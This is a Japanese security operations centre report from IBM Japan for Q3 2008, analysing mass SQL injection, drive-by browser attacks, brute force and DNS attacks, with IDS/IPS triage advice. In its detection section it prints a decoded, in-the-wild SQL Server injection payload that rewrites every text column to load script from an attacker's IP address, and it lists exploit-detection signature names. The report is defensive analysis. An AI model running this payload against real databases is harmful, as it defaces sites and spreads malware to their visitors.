2008年 第 3 四半期 SOC 情報分析レポート

2008年 第 3 四半期
SOC 情 報 分 析 レポート
2009 年 1 月 26 日 発行
編集担当
日 本 アイ・ビー・エム株 式 会 社
GTS ITS ソリューションセンター
マネージド セキュリティ サービス
セキュリティ オペレーション センター
目次
1.
はじめに ......................................................................................................................... 3
2.
2008 年第 3 四半期におけるインターネット脅威状況 ........................................................ 4
2.1. 誘導型攻撃と SQL インジェクション攻撃···························································· 4
2.2. その他の攻撃 ···························································································· 9
3.
SOC が注目する攻撃..................................................................................................... 12
3.1. IDS/IPS を利用した SQL インジェクション攻撃・誘導型攻撃の検知 ···························12
[コラム] 誘導型攻撃の変遷 ~すべての道は誘導型攻撃へ通ず~ ..................................... 18
3.2. DNS を利用した攻撃 ···················································································20
4.
まとめ............................................................................................................................ 27
-2-
1. はじめに
本レポートは、IBM が提供しているセキュリ
SOC で把握しているこれらの情報は、パッチ
ティー運用管理サービス「マネージド セキュリ
適用やメンテナンス・スケジュールといった、セ
ティー サービス(MSS)」の世界 7拠点(日本、
キュリティー対策を計画する際の一助になるも
オーストラリア、米国 3 拠点、ベルギー、ブラジ
のと考え、本レポートを作成致しました。
ル)にある監視センター(セキュリティー オペ
レーションセンター:SOC)において検出された
データを元に作成されています。SOC は、各
拠点が密接に連携してバーチャルにひとつの
SOC として機能し、世界規模で監視活動を
行っています。
これらの SOC には、訓練されたセキュリ
ティエンジニアが常駐し、世界のどこで何が起
日本アイ・ビー・エム株式会社
きているかをリアルタイムに把握しながら、お客
GTS ITS ソリューションセンター
様のネットワークを 24 時間 365 日監視して
マネージド セキュリティ サービス
います。
セキュリティ オペレーション センター
-3-
2. 2008 年第 3 四半期におけるインターネット脅威状況
今期は Web アプリケーションの脆弱性やブラウザの脆弱性を狙った攻撃が増加した。これは前
期、前々期から継続している傾向である。
Web アプリケーションを狙った攻撃では、「SQL インジェクション攻撃」によって多くの Web サイト
が改ざん被害を受けた。ブラウザの脆弱性を狙った攻撃では、悪性プログラムが埋め込まれた
Web サイトを閲覧したユーザーがウィルスに感染させられる誘導型攻撃1の事例が増加した。
一方でサーバーへの不正ログインを目的とした総当たり攻撃のうち、FTP サーバーを狙った攻撃
は減少傾向が見られた。
また実際の攻撃はほとんど確認されなかったものの、DNS の脆弱性を悪用する攻撃手法が発表
され、大きな話題となった。これは「DNS キャッシュポイズニング」と呼ばれる攻撃で、DNS サーバー
上の一時情報を書き換えるものである。この攻撃が成功した場合、被害を受けた DNS を利用する
ユーザーは自分が入力した URL とは異なる、悪意ある Web サイトへアクセスさせられてしまう。この
DNS の一時情報改ざんも、誘導型攻撃への応用が可能である。DNS キャッシュポイズニング自体
は目新しい攻撃ではないが、今回発表された攻撃手法はこの DNS キャッシュポイズニングを非常
に効果的に行うものであった。
なお、DNS を悪用する攻撃については、次章に詳しくまとめたので併せて参照いただきたい。
本章では日本 IBM セキュリティオペレーションセンター(東京 SOC)における検知状況から、今
期特に話題となった攻撃を中心に、インターネット脅威状況について解説する。
2.1. 誘導型攻撃と SQL インジェクション攻撃
誘導型攻撃が増加した要因のひとつとして、SQL インジェクション攻撃がユーザーを誘導型攻
撃へ引き込むための「罠作り」に悪用されたことが挙げられる。SQL インジェクション攻撃が誘導型
攻撃へとつながり、ユーザーPC がウィルス感染の被害を受けるまでの例を次に示す。
①: 攻撃者は SQL インジェクション攻撃を用いて、一般の Web サイトを改ざんする。
アクセスしてきたユーザーを悪意ある Web サイトへ転送させるような「罠」が埋め込まれる。
②: 一般のインターネットユーザーが改ざんされた Web サイトにアクセスする。
③: ①で仕込まれた「罠」により、ユーザーは攻撃者の用意した別のサイトへ転送される。
④: ユーザーが転送された先には、ブラウザの脆弱性を突いてウィルスをダウンロードさせるよ
うなの仕掛けが施されており、ユーザーPC がウィルスに感染する。
1 「誘導型攻撃」とは、「Web サイトへアクセスする」「メールを見る」といったユーザーの行動をきっかけとして発生
する攻撃を指す。例えば、一般のインターネットユーザーを悪意ある Web サイトへアクセスするよう誘い込み、ブラウ
ザの脆弱性を突いてウィルスに感染させる手法などが挙げられる。
-4-
Web アクセス
③改ざんされ、罠を
仕掛けられたサイト
①SQL インジェクション!!
一般のユー ザー
一般のサイト
③悪意あるサイトへ転送!
④ブラウザの脆弱性を突き、
ウィルスをダウンロードさせる
図 1 SQL インジェクション攻撃から誘導型攻撃へ至る流れ
SQL インジェクション攻撃とは、データベースと連動する Web アプリケーションに対して SQL 文
を挿入することで任意の SQL 命令を実行し、不正にデータベース内の情報を閲覧・変更する攻撃
手法を指す。
今期注目を集めた SQL インジェクション攻撃は、データベース内の情報を不正に変更し、一般
の Web サイトのコンテンツを改ざんするタイプのものだ。改ざんされたサイトには閲覧者を悪意ある
Web サイトへジャンプさせる"罠"が埋め込まれ、この罠が誘導型攻撃へとつながっている。
2008 年 3 月に Web サイトの改ざんを行うタイプの SQL インジェクション攻撃が猛威を振るった。
以降、今期に至るまで同タイプの SQL インジェクション攻撃で"罠"が大量にばら撒かれ、同じタイミ
ングで誘導型攻撃が増加するという状況が続いている。
-5-
図 2 SQL インジェクション攻撃と誘導型攻撃の検知数の推移(2007 年 4 月~2008 年 9 月)
2.1.1 誘導型攻撃を行う攻撃者の狙い
誘導型攻撃の末にユーザーPC に感染するウィルスの多くは、ユーザーがキーボードから入力す
る文字列を攻撃者のサーバーへ転送する手口でユーザーからクレジットカード情報等を盗みとろう
とすることから、攻撃者の狙いは金銭を得ることにあると推測される。以下に、誘導型攻撃によって
ダウンロードされるウィルスの代表的な機能を挙げる。
表 1 誘導型攻撃によって感染するウイルスの分類
キーロガー
キーロガーはユーザーがキーボードに入力した文字列が攻撃者のサーバーに転送する。
ユーザーが通信販売などでクレジットカード情報やパスワードを入力した場合、クレジット
カードが悪用される恐れがある。
オンラインゲームのアカウント情報を盗むウィルス
ユーザーが入力した文字列から、オンラインゲームのアカウント情報を盗み取るウイルスが
確認されている。特定の情報を窃取することに特化したキーロガーの一種といえる。
このようにして盗み取られたアカウントは不正に利用され、オンラインゲーム内のアイテム
や仮想通貨が RealMoneyTrade(RMT)と呼ばれる市場で現金取引される。この RMT
における現金取引が犯罪者の資金洗浄に利用されるケースもある。
また、ゲームアカウントと同一のユーザー名やパスワードを他のオンラインサービスで使用
している場合に、本人になりすまして通信販売やインターネットオークションを不正に利用
されるなどの被害を受けることもある。
-6-
偽セキュリティーソフトウェア
ユーザーのブラウザ上に「あなたのコンピュータはウィルスに感染しています!」などと虚
偽の警告を表示し、ウィルスを駆除するために偽物のセキュリティーソフトウェアを買うよう
迫る。偽セキュリティーソフトウェアは見た目が非常に精巧に作られており、一目では偽物
と見破られにくい作りとなっている。
偽セキュリティーソフトウェアの購入窓口には正規のオンライン決済サービスを利用してい
るケースも確認されている。オンライン版、振り込め詐欺といえよう。
図 3 偽セキュリティーソフトウェア(左上)とその購入画面(右下)
2.1.2 誘導型攻撃という手法の有効性
昨今、攻撃者がこぞって誘導型攻撃を用いる理由として、誘導型攻撃がユーザーや管理者に
とって防ぎにくい性質を持った攻撃形態であることが挙げられるだろう。
誘導型攻撃では、悪意ある Web サイトへ引き込むための"罠"に、Web アクセスやメールが使用さ
れることから、ファイアウォールだけでは正常な通信と区別できず、攻撃を遮断することが難しい。
また、攻撃するタイミングや悪用する脆弱性の内容についても攻撃者の手口は巧妙化している。
下図(左)はある脆弱性が公表されてから、攻撃プログラムが発表されるまでの期間を示している。
-7-
IBM のセキュリティー研究機関である X-Force の調査では、2008 年前半に公表されたユーザー
PC 側(クライアントサイド)の脆弱性のうち、94%は脆弱性が公表された当日に攻撃コードも公開さ
れている。
図 4 クライアントサイドの脆弱性の公表日と攻撃コード公開日の関係(左)
ブラウザを対象とする攻撃コード数と、ブラウザプラグインを対象とする攻撃コード数の推移(右)
(出典:IBM Internet Security Systems X-Force® 2008 Mid-Year Trend Statistics2)
また、同調査ではブラウザ関連の脆弱性を悪用した攻撃では、ブラウザ本体ではなく、ブラウザ
プラグインの脆弱性を悪用するものが 78%を占めていた。自動アップデート機能ですぐに脆弱性
が修正されてしまうブラウザではなく、アップグレードを怠りがちなプラグインアプリケーションが意
図的に狙われているものと考えられる(上図・右)。
2.1.3 DNS を悪用した誘導型攻撃
Domain Name System(DNS)は電子メールをやりとりしたり、Web サイトへアクセスする際に、接
続相手の IP アドレスを調べる仕組みである。
今期話題となったのは、DNS サーバー上に保持されている IP アドレスと、IP アドレスに対応する
URL の情報を書き換える攻撃であった。この攻撃が成功すると、ユーザーが一般の Web サイトへ
アクセスしようとした際に、目的のサイトとは異なるサイトへアクセスさせられてしまうことになる(下図
②,③)。
SQL インジェクション攻撃では、ユーザーがアクセスする一般の Web サイトを改ざんすることで、
誘導型攻撃を発生させる罠を作ったのに対し、この手法では DNS 情報を書き換えることによって、
ユーザーを直接攻撃サーバーへ誘導する罠を作ることができる。
2 http://www-935.ibm.com/services/us/iss/xforce/midyearreport/
-8-
一般の
DNS サーバー
①URL と IP の対応関係を
書き換える攻撃!
②一般サイトへアク
セスしようとする
一般のユーザー
④ブラウザの脆弱性を突き、
ウィルスをダウンロードさせる
③普通のサイトへ
アクセスしたはずが
別のサイトへ転送!
図 5 DNS キャッシュポイズニングの流れ
これは「DNS キャッシュポイズニング」と呼ばれ、古くより知られている攻撃手法である。
2008 年 7 月にダン・カミンスキー氏がこの DNS キャッシュポイズニングを効率的に行う手法を発
表したことから、今期特にこの脅威が再熱した。
2008 年 7 月には、海外の ISP の持つ DNS サーバーがこの攻撃を受け、google へアクセスしよう
とするトラフィックが別のサイトへ誘導されるという事件が報告された。
この攻撃手法に関しては、各 DNS サーバーソフトウェアベンダが一斉にパッチ公開し、日本
IBM を始めとするセキュリティー関連組織やドメイン管理組織も注意を促した。なお、現時点では
日本国内の企業に対する本格的な攻撃はほとんど確認されていない。
2.2. その他の攻撃
2.2.1 総当たり攻撃
「総当たり攻撃」とは、FTP や SSH などの、パスワード認証を用いる公開サーバーに対して任意
の手法で生成したアカウント/パスワードの組み合わせを手当たり次第に入力し、ログイン可能な組
み合わせを推測する攻撃を指す。
今期は、FTP サービスに対する総当たり攻撃は減少傾向にあり、SSH サービスに対する総当た
り攻撃は目立った増減は見られなかった。
-9-
総当たり攻撃と SQL インジェクション攻撃の検知数推移と重ねてみると、FTP サービスの総当た
り攻撃に反比例するように SQL インジェクション攻撃が増加していることが読み取れる。
これは、攻撃者の狙いが標的サーバーのアカウントを窃取して直接操作する権限を掌握するこ
とから、標的サーバー上のアプリケーションの脆弱性を悪用して、データベース内の情報を閲覧・
変更することへと移り変わっている現れといえるだろう。
250,000
900,000
800,000
200,000
700,000
600,000
150,000
500,000
400,000
100,000
300,000
200,000
100,000
0
50,000
Apr May Jun Jul Aug Sep
SSHへの総当たり攻撃
Oct Nov Dec Jan Feb Mar Apr May Jun Jul Aug Sep
FTPへの総当たり攻撃
0
SQLインジェクション攻撃
図 6 総当り攻撃と SQL インジェクション攻撃の検知数の推移(2007 年 4 月~2008 年 9 月)
2.2.2 DNS へのサービス不能攻撃(DoS 攻撃)
今期、DNS を対象とした大規模な DoS 攻撃を複数回検知した。これは、2002 年に発見された
BIND3の脆弱性を悪用するもので、DNS の要求パケットを送信する際に、大きなサイズの UDP ペ
イロードを送りつけることで、DNS サーバーを異常終了させるものである。
この攻撃は BIND8.3.3 以前を対象としている。すでに BIND8 のサポートは終了しているが、現
在も同バージョンを使用する環境が多数存在することから、東京 SOC からも広く注意喚起のアナウ
ンスや、本攻撃の影響を受ける可能性のあるお客様への通知を行ってきた。該当バージョンをご利
用の場合は、速やかに対策済みバージョンへのアップグレードを行って欲しい。
3 カリフォルニア大学バークレー校で開発された DNS サーバーソフトウェア。現在世界中で広く使用されている。
-10-
7,000,000
9月22日~9月24日
6,000,000
5,000,000
4,000,000
6月3日~6月8日
9月2日~9月4日
3,000,000
2,000,000
1,000,000
0
図 7 DNS サーバーへのサービス不能攻撃の検知数
なお、この DoS 攻撃については、DNS 要求パケットの送信先を狙ったものではなく、第三者を対
象としたアンプ(増幅)攻撃であった可能性も疑われる。
アンプ攻撃とは、まず送信元を本来のターゲットに偽装した DNS 要求パケットを複数の DNS
サーバーに送りつけ、DNS サーバーからの応答パケットが、リクエスト送信元とされた本来の攻撃
ターゲットに大量に送られるよう仕向けることで、ターゲットをサービス不能状態に追い込もうとする
ものである。
このアンプ攻撃に関する DNS の問題についても次章に詳しくまとめたので併せて参照いただき
たい。
-11-
3. SOC が注目する攻撃
2008 年第 3 四半期は、年初から継続している SQL インジェクション攻撃、誘導型攻撃の増加傾
向のほかに、複数の DNS ソフトウェアにて DNS キャッシュポイズニングの脆弱性が公開されたこと
が大きな注目を集めた。
2 部構成となる本章の第 1 部(3.1)では、IDS/IPS によって SQL インジェクション攻撃、誘導型攻
撃を検知しその影響を判別する方法を紹介する。つづく第 2 部(3.2)では DNS に存在する既知の
問題と、今期公開された脆弱性について解説する。
3.1. IDS/IPS を利用した SQL インジェクション攻撃・誘導型攻撃の検知
近年大きな話題となっている SQL インジェクション攻撃および誘導型攻撃については、さまざま
な検知、防御、対策手法が提案されている。本パートでは、東京 SOC における対応フローをもとに、
IDS/IPS を利用してこれらの攻撃を検知し、その影響を判別する方法を紹介する。
IDS/IPS の運用に関わる機会のある方はぜひ参考にしていただきたい。
3.1.1 SQL インジェクション攻撃の検知
3.1.1.1. IDS/IPS によるイベント検知
当然ではあるが、まず IDS/IPS によるイベント検知が対応のトリガとなる。IDS/IPS として弊社の
Proventia 製品を使用している場合は、「SQL Injection」というシグネチャによって SQL インジェクショ
ン攻撃を検知することができる。
このシグネチャは SQL 文で使用されるキーワード、シンボル等を分類し、Web アプリケーションの
パラメータ内に現れる順番等を踏まえた上でスコアリングし、スコアが基準値を超えた際に攻撃とし
て検知する仕組みになっている4。Web アプリケーションへの入力値評価をホワイトリスト、ブラックリ
スト方式で行う WAF 専用機とは異なり、Web アプリケーション自体の仕様を詳細に把握した上で設
定を行う必要はない。
さらに、特定の種類の SQL インジェクション攻撃を検知したい場合は、カスタムシグネチャの利
用が有効になる。具体的には、HTTP ヘッダーやボディなどを特定の文字列でパターンマッチする
シグネチャを作成することになる。IDS/IPS 製品の種類によって設定方法や設定可能なパラメータ、
パフォーマンスへの影響が異なるので、事前に十分にテストしておくことが望ましい。
なお、このようなカスタムシグネチャを作成する場合には、ある程度 Web アプリケーションの仕様
を把握しておかないと、大量の誤検知に悩まされる結果となりかねないので注意してほしい。
4 この「SQL Injection」シグネチャの仕組みは ILE(Injection Logic Encine)と呼ばれ、Proventia の PAM
(Protocol Analysis Module)を拡張機能として実装されている。
-12-
3.1.1.2. 検知イベントの影響確認
IDS/IPS によってイベントを検知したからといって、それがそのまま Web アプリケーションの改ざん
を意味するわけではない。特に今年に入ってから増加している Web サイトの改ざんを目的とした
SQL インジェクション攻撃の多くは、特定の Web サイトや Web アプリケーションを対象に手動で行う
ものではなく、自動化ツールによって検索エンジンなどを利用し、大量の Web サイト対して闇雲に
攻撃を仕掛ける性質のものであるため、実際に攻撃が成功する可能性はそれほど高くない。
イベントを検知した後は、まずその攻撃の影響を確認しなければならない。Web アプリケーションや
ネットワーク環境によってさまざまな確認方法が考えられるが、以下に一般的な確認方法を紹介する。
Web アプリケーションへの接続成否の確認
SQL インジェクション攻撃について、Web アプリケーション側で十分な対策が行われている場合
は、Web アプリケーションへの接続自体が失敗する。HTTP 応答コードが 400 番台(4xx Client
Error)となっている場合や、あるいは 200 番台(2xx Success)となっていても、HTTP 応答として、攻
撃によって送信されたデータが無効になったことを示すコンテンツが表示されている場合5は、Web
アプリケーションへの接続が行えず攻撃が失敗しているものと判断することができる。
この接続の成否は IDS/IPS の詳細ログや、Web サーバーのログなどから確認することができる。
データベースの確認
Web アプリケーションへの接続が成功している場合、攻撃が成功しデータベースの内容が改ざ
んされた可能性がある。この場合は、データベースに送信された SQL 文を確認し、攻撃者がデー
タベースに書き込もうとした内容を把握した上で、その内容が実際にデータベースに反映されてい
るか否かを確認することになる。通常、この SQL 文は Web サーバーのログや、IDS/IPS の詳細ログ
などから確認することができる。
検知例)
次の図は東京 SOC で検知した SQL インジェクション攻撃のパケットキャプチャデータから HTTP
ヘッダーの部分を抜き出したものである6。
5 一般的には(Web サーバーではなく)Web アプリケーションのエラー画面や、単にトップページを表示するだけの
Web サイトが多い。本来 HTTP 応答コードとして 4xx を返すことが望ましいが、多くの Web アプリケーションではミ
ドルウェアの実装など理由に、2xx を返す。
6 2008 年 9 月末頃よりインターネットで観測された、Cookie を利用した SQL インジェクション攻撃のキャプチャ
データから抽出した。
・参考 URL1 http://www.isskk.co.jp/soc_report/SOC_report_20081007.html
・参考 URL2 http://www.isskk.co.jp/soc_report/SOC_report_20081118.html
・参考 URL3 http://www.isskk.co.jp/soc_report/SOC_report_20081125.html
-13-
図 8 SQL インジェクション攻撃のパケットキャプチャデータ(一部)
不正な SQL 文は HTTP Cookie を利用して送信されている。この例では、攻撃を隠蔽するために、
SQL 文の大部分は CAST 命令によって難読化されている。この内容をデコードすると以下のように
なる。
;DECLARE @S VARCHAR(4000);SET @S=CAST(DECLARE @T varchar(255),@C varcha
r(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects
a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xt
ype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INT
O @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtr
im(convert(varchar(4000),['+@C+']))+''<script src=http://61.31.235.114/i.swf></script>''')
FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLO
CATE Table_Cursor AS VARCHAR(4000));exec (@S);
図 9 CAST デコードした SQL 命令文
これはデータベース中の全てのレコードの末尾に上記赤字強調部の文字列(攻撃者のサー
バーへのリンク)を挿入しようとする内容である。なお、この SQL 文では、既存レコードの検索に
「sysobjects」「syscolumns」というテーブルを利用している。これらは、Microsoft SQL Server が
管理情報を保存するテーブルなので、攻撃対象となったデータベースが他のプラットフォームであ
-14-
れば、攻撃の影響を受けていないと判断することができる。
他の IDS/IPS イベントの確認
攻撃が成功し、対象となった Web アプリケーションが誘導型攻撃の「おとりサーバー」として利用
されてしまっている場合は、IDS/IPS が Web サーバーからクライアントへの攻撃を検知することがあ
る。攻撃内容によってさまざまなケースが考えられるが、例えば Proventia®製品であれば以下のよ
うなシグネチャでイベントを検知することが多い。
表 2 「おとりサーバー」 としての挙動を検知する Proventia のシグネチャ(一例)
シグネチャ名
HTTP_Cross_Site_Scripting
HTML_HTML_Tag_Injection
このような状況は、Web サイトが一般のクライアントを攻撃者のサーバーに誘導する動作を行っ
ていることを意味するので、緊急の対応を要する。一時的に該当コンテンツを閉鎖した上で、早急
に Web アプリケーション側で対策を実施し、データベースの内容を復旧することが望ましい。
3.1.2 誘導型攻撃の検知
3.1.2.1. IDS/IPS によるイベント検知
IDS/IPS で、ブラウザやそのプラグインへの攻撃を検知した場合、それは誘導型攻撃(受動的攻
撃)が行われたことを意味する。Proventia 製品であれば、以下のようなシグネチャによるイベントが
該当する。
表 3 誘導型攻撃を検知する Proventia のシグネチャ(一例)
シグネチャ名
HTTP_IE_WMI_Object_Broker
JavaScript_Shellcode_Detected
HTTP_Quicktime_RTSP_Overflow
JavaScript_WebViewFolderIcon_Overflow
PDF_JavaScript_Exploit
HTML_Vulnerable_ActiveX
HTML_VML_Heap_Overflow
HTML_Access_Snapshot_Viewer_ActiveX
HTTP_IE_ADODB_Stream_SaveToFile
Multimedia_File_Overflow
Image_ANI_Header_Overflow
PDF_CollectEmailInfo_Overflow
Image_BMP_MediaPlayer_Bo
HTML_IE_ActiveX_Loader_Heap_Corruption
Image_WMF_Code_Exec_Function
JavaScript_WScript_Shell_Object
Image_WMF_Generic_RecordSize_Overflow
HTTP_Winzip_FileView_Code_Exec
Image_WMF_RecordSize_Overflow
HTML_Embed_Overflow
JavaScript_NOOP_Sled
HTML_RealPlayer_IERPCtl_Overflow
-15-
3.1.2.2. 検知イベントの影響確認
SQL インジェクション攻撃の場合と同じであるが、イベント検知自体は、攻撃が行われたことを示
すだけなので、イベント検知後はその影響を確認しなければならない。以下に一般的な確認方法
を紹介する。
関連イベントの確認
誘導型攻撃(受動的攻撃)はほとんどの場合、ブラウザやブラウザプラグインの脆弱性を利用し
て対象となったクライアントに何らかのマルウェアをダウンロードさせようとする。
実行ファイルの転送や、疑わしいファイルの転送を検知することのできる IDS/IPS 製品を利用し
ている場合は、マルウェアのダウンロードの有無によって、攻撃の成否をある程度判別することがで
きる。例えば Proventia 製品であれば以下のようなシグネチャによってマルウェアのダウンロードを
検知することができる。
表 4 マルウェアのダウンロード検知に有効なシグネチャ
シグネチャ名
UPX_Packed_Executable
PE_Overlapping_Header
HTTP_Executable_Transfer
誘導型攻撃(受動的攻撃)を検知しても、マルウェアのダウンロードが行われていなければ、攻
撃の試みは失敗したものと考えることができる。また、IDS/IPS 以外にアンチウィルスゲートウェイや
クライアントアンチウィルス製品を利用している場合は、それらによってマルウェアが駆除されている
場合もあるので、アンチウィルス製品のログも併せて確認することが望ましい。
なお、IDS/IPS のログから、被害にあったクライアントがダウンロードさせられたマルウェアの URL
などを特定できる場合は、安全な検証環境にマルウェアのバイナリをダウンロードし、複数のアンチ
ウィルス製品で検査することによって、マルウェアを駆除するためにどのアンチウイルス製品が有効
なのか確認することが可能である。
攻撃内容の確認
誘導型攻撃(受動的攻撃)によってマルウェアのダウンロード以外の攻撃が行われた可能性が
考えられる場合や、攻撃の内容を厳密に把握する必要がある場合には、IDS/IPS の詳細ログや、
パケットキャプチャデータを確認することになる。
検知例)
次の図は東京 SOC で検知した、MS08-041 の脆弱性を利用した誘導型攻撃7のパケットキャプ
チャデータの一部である。
7 Proventia 製品では「HTML_Access_Snapshot_Viewer_ActiveX」というシグネチャで検知する。
-16-
図 10 MS08-041 の脆弱性を利用した攻撃のパケットキャプチャデータ(一部)
攻撃コードが難読化されているため、内容を把握するためには、さらにコードを復号しなければ
ならない。日常的に攻撃内容の解析を行うような環境では、運用環境に合わせたデコードツールを
用意しておくとよいだろう。
この攻撃コードは、特定の攻撃サーバーからクライアントのローカルシステムにマルウェアをダウ
ンロードさせようとするものである。
関連イベントの確認
攻撃が成功し、攻撃対象となったシステムでマルウェアが動作し始めた場合、多量のポートス
キャンや IRC 通信など、ウィルスやワームのアクティビティが検知される。組織ポリシーにもよるが、
内部ネットワーク内でウィルスやワームのアクティビティが検知された場合は、早急に送信元ノード
を特定し、ネットワークから切り離した上で対応を行う必要がある。
-17-
[コラム] 誘導型攻撃の変遷 ~すべての道は誘導型攻撃へ通ず~
記憶に新しいインターネット上の脅威のいくつかは、今日の誘導型攻撃増加へとつながっている。本
章では誘導型攻撃を取り巻く状況の変化を振り返り、巧妙化する攻撃手法に関する考察を紹介する。
2007 年 始まりは MPack
まず、攻撃者のための自動攻撃ツール盛り合わせパックの
「Mpack」が話題となった。Mpack は、FTP サーバーにパスワード
破り試み、パスワードが攻略できた Web サイトに不正な URL へ
のリンクを埋め込む一連の機能を含んだツールだ。イタリアで起
こった大規模なサイト改ざんはこの Mpack によるものと言われ
ている。Mpack の登場は誘導型攻撃の型を作ったといえるだろ
う。
2008 Q1 SQL インジェクション攻撃による事態の急変
2007 年から 2008 年のはじめまでは Mpack、ICEPack など似たような攻撃ツールが多数作られ、これ
らが誘導型攻撃を誘発する罠サイト作成に大きく関わっていた。
2008 年 3 月、新たな罠サイト作成方法が現れた。SQL インジェクション攻撃が利用されるようになった
のである。
Mpack で用いられた手法では、FTP 認証を攻略する必要があったため、手間がかかる上に攻撃対
象となるサイトも限られていた。これに対し、SQL インジェクション攻撃では攻撃者は対策の施されてい
ないあらゆるサイトを標的とすることができるようになったのである。
この結果、数万から数十万ともいわれる Web サイトが誘導型攻撃のための"罠"へと改ざんされる事
態へ発展した。
250,000
900,000
800,000
200,000
700,000
600,000
150,000
500,000
400,000
100,000
300,000
200,000
50,000
100,000
0
Apr May Jun Jul Aug Sep
SSHへの総当たり攻撃
Oct Nov Dec Jan Feb Mar Apr May Jun Jul Aug Sep
FTPへの総当たり攻撃
-18-
SQLインジェクション攻撃
0
2008 Q2 攻撃者側の変化
5 月、攻撃者側のシステムに大きな変化が生じた。
2008 年 3 月から続く SQL インジェクション攻撃では、攻撃者によって埋め込まれる URL は攻撃者の
IP アドレスと同じだった。攻撃者は SQL インジェクション攻撃から誘導先までの一連の攻撃システムを
単一のサイト上に展開していたのである。
2008 年 5 月になるとボットネット8上にシステムが作られるようになった。攻撃者と誘導される先は
別々になり、限られた攻撃者からのみ行われていた SQL インジェクション攻撃は、攻撃者の操る多数
のコンピュータから行われるようになった。
また、誘導先のドメインに多数の IP アドレスを割り当てておくことで、誘導される先が頻繁に変化する
仕組みも考案された。攻撃者はひとつのサイトが削除されても攻撃システム全体への影響を受けづら
くなり、システム管理者にとっては対策を困難にする要因となった。
2008 Q3 DNS サーバー上の一時情報の書き換えによる誘導方法の登場
日を追うにつれて悪質化、大規模化してきた誘導型攻撃だが、今期、より大きな脅威となりうる攻撃
手法が現れた。DNS キャッシュポイズニングである。
DNS キャッシュポイズニングでは、SQL インジェクション攻撃で作られるような罠サイトを経由すること
なく、ユーザーは誘導型攻撃と遭遇することになる。
今後の展開
こうして辿っていくと、ユーザーを誘い込む"罠"となるサイトを作るための手段、罠サイトから更に別
のサイトへユーザーを誘導しようとする手段、そして誘導先への通信を遮断されないための仕組みが
次々に考案され、進化してきた姿がうかがえる。誘導型攻撃は今後もより対策が難しい、悪質なものへ
と進化を続けることが予想される。
8攻撃者によって操られた PC(ボットと呼ぶ)群によって構成されるネットワーク。攻撃者が命令を送ることで一斉に
攻撃行為を行う。
-19-
3.2. DNS を利用した攻撃
今期大きな話題となった DNS キャッシュポイズニングとは、DNS サーバーに偽物の IP アドレス
やドメイン情報を仕込む攻撃である。それよって、偽物の情報を参照したユーザーを本来のアクセ
ス先とは異なる場所へ誘導することが可能になる。本パートでは、改めて DNS の基本機能を紹介
した上で、DNS キャッシュポイズニングについて解説する。
3.2.1 DNS とは
DNS(Domain Name System)とは、Web サイトへのアクセスやメールの送受信時に、アクセス先
のサーバー名から、その IP アドレスを検索するシステムである。DNS では、インターネット上に設置
された多数のネームサーバーでドメイン名と IP アドレスを分散管理している。ドメイン名の管理は下
図のように階層構造になっている。
図 11 DNS のドメイン管理構造
-20-
3.2.2 DNS サーバーの種類
DNS には 2 種類のサーバーが存在する。
表 5 DNS サーバーの種類
DNS サーバーの種類
説明
管理しているゾーン情報(ドメイン名とそれに対応する
コンテンツサーバー
IP アドレスなどの登録情報一覧)に対する問い合わせ
にのみ応答するサーバー
クライアントからのドメイン名の問い合わせ受けて名前
キャッシュサーバー
解決を行い、結果を一定期間保持するサーバー
(一般のクライアントが利用する DNS サーバー)
コンテンツサーバーは、図 11 の例では、黄色く囲まれた範囲、つまり自組織の管理下にあるドメ
イン名への問い合わせだけに応答する。
コンテンツサーバーは、常時問い合わせを処理するプライマリーサーバーに加えて、1 台以上の
セカンダリーサーバーを用意して冗長化を行う必要がある。このように複数台のサーバーでゾーン
情報を管理するために、プライマリーサーバーがゾーン情報を定期的にセカンダリーサーバーに
転送し、複製を作成するゾーン転送という仕組みが機能している。
キャッシュサーバーは、一般のクライアントが行うすべてのドメイン名の問い合わせに対して回答
を行う。
一般のクライアントシステムが Web サイトへアクセスする場合、ユーザーは Web ブラウザで URL
を指定する。Web ブラウザはアクセス先サーバーの IP アドレスを知らないため、リゾルバ9 を利用し
て DNS キャッシュサーバーにドメイン名の問い合わせを行う(再帰的問い合わせ)。問い合わせを
受けた DNS キャッシュサーバーは、図 12 のような流れでドメイン名解決を行う。
例えば、www.isskk.co.jp を名前解決する場合、DNS キャッシュサーバーはまずルート DNS サー
バーに問い合わせを行う。ルート DNS サーバーは、トップレベルドメイン(TLD)"jp"を管理する
DNS サーバーの IP アドレスを返信する。DNS キャッシュサーバーは、受け取った結果から、"jp"を
管理する DNS サーバーに対してドメイン名の問い合わせを行い、セカンドレベルドメイン(SLD)
"co.jp" を管理する DNS サーバーの IP アドレスを受け取る。このように問い合わせを複数回繰り返
すことで、最終的にドメイン名に対応する IP アドレスを得る。
9 リゾルバとは、Web ブラウザやメールクライアントに代わって、DNS サーバーにドメイン名の問い合わせを行うクラ
イアントアプリケーションを指す。。
-21-
図 12 DNS の再帰的問い合わせの流れ
3.2.3 DNS の問題
DNS はドメイン名を利用してリモートシステムへアクセスする多くのサービスで利用されるため、
DNS サーバーにセキュリティー上の問題があった場合、その影響は非常に大きい。
ここでは DNS に関するセキュリティー上の問題の中で、特に影響の大きなものについて解説す
る。また、2008 年 7 月に公開された DNS キャッシュポイズニングの攻撃手法についても解説する。
3.2.3.1. DNS の設定の問題
DNS サーバーの設定のミスにより、システムが脆弱になる場合がある。例えば、以下のような例
が挙げられる。
・
不要な外部からの再起問い合わせの許可
・
ゾーン転送の設定不備
組織内で使用している DNS キャッシュサーバーへの、外部からの再起問い合わせを許可してい
る場合、セキュリティーリスクが増加する恐れがある。
不用意に外部からの再起問い合わせを許可していると、外部の攻撃者から DoS 攻撃を受けたり
することがある。また、サーバーアプリケーションの脆弱性を悪用するなどして、サーバーにキャッ
-22-
シュしているホスト名と IP アドレスの対応テーブルを書き換えられたりする可能性がある。
前章のアンプ攻撃もこの設定不備によって、発生する可能性がある。外部からの再起問い合わ
せを許可していると、攻撃者からの送信元の IP アドレスを偽装したパケットを受信してしまう。そして、
偽装された送信元 IP アドレスに応答パケットを送信してしまう。DNS キャッシュサーバー自体は、パ
ケット受信による影響を受けることはないが、偽装された IP アドレス元では複数の DNS サーバーか
